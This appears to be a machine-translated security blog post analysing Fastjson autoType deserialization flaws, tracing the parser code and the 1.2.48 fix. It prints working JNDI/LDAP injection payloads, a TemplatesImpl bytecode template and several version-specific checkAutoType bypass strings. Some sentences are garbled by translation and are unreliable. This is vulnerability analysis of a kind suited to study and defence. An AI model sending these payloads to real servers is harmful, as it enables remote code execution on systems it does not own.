Some time ago, a teacher came to ask me about fastjson. Although I know about it, I have not analyzed the specific chain. Recently, I have time to analyze two fastjson deserialization holes:

  • 1.2.22 < = version < = 1.2.24
  • 1.2.25 < = version < = 1.2.47

Introduction and Use

Fastjson is a high-performance JSON library written in Java language developed by Alibaba, which is used to convert data between JSON and Java Object. Provide two main interface JSON. ToJSONString and JSON parseObject/JSON parse to implement serialization and deserialization operation respectively.

This article deals with the Fastjson deserialization vulnerability (Fastjson added a deserialization whitelist after 1.2.24, whereas prior to 1.2.48, an attacker could successfully execute arbitrary commands using specially constructed JSON strings to bypass whitelist detection.)

Project address: github.com/alibaba/fas…

Maven environment direct:

<dependencies> .... Alibaba </groupId> <artifactId>fastjson</artifactId> <version>1.2.22</version> </dependency> </dependencies>Copy the code

The serialization and deserialization process of Fastjson calls the get and set methods of the class.

package org.example; public class JsonTest { private int _id; private String _name; private String _passwd; public JsonTest(int _id, String _name, String _passwd) { this._id = _id; this._name = _name; this._passwd = _passwd; } public JsonTest() { } public int get_id() { System.out.println("get "+_id); return _id; } public void set_id(int _id) { System.out.println("set "+_id); this._id = _id; } public String get_name() { System.out.println("get "+_name); return _name; } public void set_name(String _name) { System.out.println("set "+_name); this._name = _name; } public String get_passwd() { System.out.println("get "+_passwd); return _passwd; } public void set_passwd(String _passwd) { System.out.println("set "+_passwd); this._passwd = _passwd; } @Override public String toString() { return "JsonTest{" + "_id=" + _id + ", _name='" + _name + '\'' + ", _passwd='" + _passwd + '\'' + '}'; }}Copy the code

Main:

public static void main(String[] args) {
  JsonTest jsonTest = new JsonTest(1,"uname","passwd");
  System.out.println("[1]================");
  String str = JSON.toJSONString(jsonTest);
  System.out.println("[2]================");
  System.out.println(str);
  System.out.println("[3]================");
  Object jsonTest1 = JSON.parseObject(str,JsonTest.class);
  System.out.println("[4]================");
  System.out.println(jsonTest1);

}
Copy the code

After running, the following results are obtained:

[1]================
get 1
get uname
get passwd
[2]================
{"id":1,"name":"uname","passwd":"passwd"}
[3]================
set 1
set uname
set passwd
[4]================
JsonTest{_id=1, _name='uname', _passwd='passwd'}
Copy the code

It is obvious that the get method of each property in the class is called in serialization and its set method is called in deserialization.

In the deserialization process, you need to add an additional class parameter: jsonTest.class

Fastjson also provides a way to do this without specifying a class, called autoType, which is the source of the deserialization bug.

Give the serialization function a second argument:

JSON.toJSONString(jsonTest,SerializerFeature.WriteClassName);
Copy the code

You can get a json string with the type specified:

{"@type":"org.example.JsonTest","id":1,"name":"uname","passwd":"passwd"}
Copy the code

There is no need to specify the corresponding class when deserializing it:

Object jsonTest1 = JSON.parseObject(str);
System.out.println(jsonTest1);
Copy the code

When the @type field is not fully verified, the attacker can pass in the danger class, so as to call the danger class to attack the target machine. Next, analyze its process.

Deserialization process

Set a breakpoint at json.parseObject and follow through on the fastjson deserialization process.

First go to json.class:

Then enter the parse function:

public static Object parse(String text) {
        return parse(text, DEFAULT_PARSER_FEATURE);
    }
Copy the code

Using DEFAULT_PARSER_FEATURE to parse our JSON string, continue:

public static Object parse(String text, int features) { if (text == null) { return null; } else { DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features); Object value = parser.parse(); parser.handleResovleTask(value); parser.close(); return value; }}Copy the code

The constructors are as follows:

       int ch = lexer.getCurrent();
        if (ch == '{') {
            lexer.next();
            ((JSONLexerBase)lexer).token = 12;
        } else if (ch == '[') {
            lexer.next();
            ((JSONLexerBase)lexer).token = 14;
        } else {
            lexer.nextToken();
        }
Copy the code

It sets the token according to the corresponding {or [, and then obtains the @type via scanSymbol. Autotype also supports nested strings of the following form:

[
    {
        "@type": "xxx.xxx",
        "xxx": "xxx"
    },
    {
        "@type": "xxx.xxx",
        "xxx": {
            "@type": ""
        }
    },
    {
        "@type": "xxx"
    } : "xx",
    {
        "@type": "xxx"
    } : "xx"
]
Copy the code

For strings, there is the following processing for double-byte characters:

\u or \x are unicode or hexadecimal, and there are others, such as \v, summed up by the master:

\0 \1 \2 \3 \4 \5 \6 \7 \b \t \n \r \" \' \/ \\ and so on, the Java string will become two characters when read in, so, Fastjson converts it into a single character, f, f double character, f, V double character, u000B single character, x.. Four - character hexadecimal numbers read into a single character \u.... Six - character hexadecimal numbers read into a single characterCopy the code

This point can actually be used to bypass some filters.

The class name is assigned to typeName, at which point typeUtils.loadClass is further called to load the class:

Then you will try to get the class class from the mappings class (which contains some built-in classes) :

If not, the ClassLoader is used to load the class and the className and its class are put into the mapping.

Next, deserialize:

ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
thisObj = deserializer.deserialze(this, clazz, fieldName);
return thisObj;
Copy the code

Follow along and there’s a denyList:

This list has only one Thread class by default:

this.denyList = new String[]{"java.lang.Thread"};
Copy the code

And then we call the set method.

1.2.22-1.2.24

There are two leveraging chains in this release :JdbcRowSetImpl and Templateslmpl, and a BasicDataSource.

JdbcRowSetImpl

First, there are two ways to exploit the chain: RMI+JNDI and RMI+LDAP

Where I used JDK8U66, for higher version restrictions and bypass methods please refer to:

www.freebuf.com/column/2074…

Set () {/ / set () {/ / set () {/ / set ();

public static void main(String[] args) { String payload = " {\ "@ type \" : \ "com. Sun. Rowset. JdbcRowSetImpl \" and \ "dataSourceName \" : \ "rmi: / / 127.0.0.1:9999 / badClassName \", \"autoCommit\":true}"; JSON.parse(payload); }Copy the code

Directly on the com. Sun. Rowset. JdbcRowSetImpl# setDataSourceName lower-middle breakpoints:

Go to the else and set the datasource to the value we passed in, and then set the breakpoint in setAutoCommit:

Else as well, the key here is that connect calls lookup:

The result is JNDI injection, the same with LDAP, just change the protocol.

Templateslmpl

In front of the chain will not follow, physical work, mainly to understand its principle, specific can see:

www.cnblogs.com/afanti/p/10…

Xz.aliyun.com/t/8979#toc-…

Payload payload Payload Payload Payload payload payload payload

{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["base64 STR "], "_name" : "a.", "_tfactory" : {}, "_outputProperties" : {}, "_version" : "1.0", "allowedProtocols" : "all"}Copy the code

Know which of the following is marking the beginning of the private property of the default by fastjson is actually unable to direct assignment, to set Feature. When the parse SupportNonPublicField compulsory assignment to the private property, so the chain of the actual effect is not big, But the analysis exercises the code audit ability.

JavaBeanDeserializer#smartMatch removes the underscore, and then calls the corresponding set method. Bytecodes decodes base64 and bytecode is binary. Deserialization of this type of string is not supported in Fastjson, so that’s why it’s a base64 string, and the _outputProperties attribute is special because it calls the GET method instead of the set method, so I’ll focus on that.

Because the set method is called through FieldDeserializer#setValue, the breakpoint is set here.

The getOutputProperties method is called using invoke and then the command is executed:

But the origin of Method needs to be traced.

After continuous debug can be detected in the ParserConfig createJavaBeanDeserializer sortedFieldDeserializers changes, SortedFieldDeserializers are the key to getting getOutputProperties:

Call in createJavaBeanDeserializer JavaBeanInfo# build, debug can find all the way to get a set method is through the following code:

Also located under the build function is the code to get the getter:

That’s where we get the getter for OutputProperties, but that doesn’t clear up the confusion about why we get the getter, FieldDeserializer#setValue, After invoking getOutputProperties with Invoke, you get a Map class, followed by a call to putAll on the Map:

Map map = (Map)method.invoke(object); if (map ! = null) { map.putAll((Map)value); }Copy the code

If a JSON string:

{"@type": "xxx.xxx", "hhhm": {"key": "value"}}
Copy the code

{“key”: “value”} will need to be put into HHHM, so you need to call get first to get the map for subsequent assignment.

GetOutputProperties ->newTransformer->defineTransletClasses instantiates Bytecodes and instantiates bytecodes in:

AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
Copy the code

After a series of calls, we end up in TEMPOC and execute to RCE:

BasicDataSource

I know there is still this chain. Mark:

Blog.nsfocus.net/fastjson-ba…

This link can only be used with Fastjson 1.2.24 or lower. The scope of use is smaller than the previous two links, and the link article is very detailed without too much description.

1.2.25-1.2.45 Partial bypass

Directly with the original chain will find an error, found that more than a ParserConfig. CheckAutoType method, in the 1.2.25 DefaultJSONParser# parseObject TypeUtils. In the loadClass repair:

/ / 1.2.24 Class <? > clazz = TypeUtils.loadClass(typeName, config.getDefaultClassLoader()); / / 1.2.25 Class <? > clazz = config.checkAutoType(typeName);Copy the code

AutoTypeSupport defaults to false:

You can enable the function in either of the following ways:

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
Copy the code

And there is a denyList to filter out the classes in the previous chain:

Part of the bypass chain manually opened autoType will not be analyzed, and the bypass point is relatively easy to see, see xz.aliyun.com/t/9052 for details

So this is the payload that applies to CTF, so I’m not going to analyze it.

1.2.25-1.2.41

{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;" ,"dataSourceName":"ldap://localhost:1389/badNameClass", "autoCommit":true}Copy the code

1.2.25-1.2.42

{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;" ,"dataSourceName":"ldap://localhost:1389/badNameClass", "autoCommit":true}Copy the code

1.2.25-1.2.43

{"@type":"[com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/badNameClass", "autoCommit":true}
Copy the code

1.2.25-1.2.45

The jar package of Mybatis must be installed on the target server, and the version must be 3.X. x <3.5.0

payload:

{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1389/ba dNameClass"}}Copy the code

1.2.25-1.2.47

This chain is generic, and the nice thing is that it doesn’t require AutoTypeSupport to be turned on, so it’s much more versatile than the bypass mentioned above, so let’s focus on that.

This chain cannot be used if AutoTypeSupport is enabled before <1.2.32. This chain can be used if AutoTypeSupport is enabled after >1.2.32.

payload:

{
    "a": {
        "@type": "java.lang.Class", 
        "val": "com.sun.rowset.JdbcRowSetImpl"
    }, 
    "b": {
        "@type": "com.sun.rowset.JdbcRowSetImpl", 
        "dataSourceName": "ldap://localhost:1389/Exploit", 
        "autoCommit": true
    }
}
Copy the code

We mentioned that there is an if in the checkAutoType:

if (this.autoTypeSupport || expectClass ! = null)Copy the code

Since autoTypeSupport defaults to false, the code inside the if is skipped, and the chain does not use the if, and follows:

Where deserializers. FindClass are key:

This. buckets will find a number of built-in classes, such as:

The problem is that the class we’re passing in is java.lang. Class, which is in the buckets, and deserializers have a put method that puts classes in the whitelist to get around autotype.

Backtracking a bit further can lead to the following way to initialize Deserializers:

All the classes in the whitelist are here.

It’s interesting to see what the class class does. When deserializing the class class, the call chain is as follows:

deserializer#deserialze
->
TypeUtils#loadClass(strVal,parser.getConfig().getDefaultClassLoader())
//strVal=com.sun.rowset.JdbcRowSetImpl
->
TypeUtils#loadClass(className, classLoader, true)
//className=com.sun.rowset.JdbcRowSetImpl
Copy the code

The TypeUtils#loadClass here, mentioned earlier in the analysis of the 1.2.22-1.2.24 chain, will attempt to fetch classes from the mappings:

Class<? > clazz = (Class)mappings.get(className);Copy the code

When they take less than calling class loader for the class, at this time he took to the com. Sun. Rowset. JdbcRowSetImpl.

And then the most deadly operation:

mappings.put(className, clazz);
Copy the code

Will com. Sun. Rowset JdbcRowSetImpl this one class in the mappings, and the loaded b the dictionary JdbcRowSetImpl class, the call to:

Instead, it will take classes directly from the mappings class, having already put JdbcRowSetImpl in mappings, which has met the restriction of getting around autoType turn-off.

The purpose of the program is to be efficient and to avoid the need to reload the class every time, but because the class calls the Loader to load other classes in the deserialization, the result is to bypass the list.

1.2.48 fixed this bug by setting the cache for deserializing class objects to false:

if (cache) {
  mappings.put(className, clazz);
}

Copy the code

The class class will not be loaded into the cache.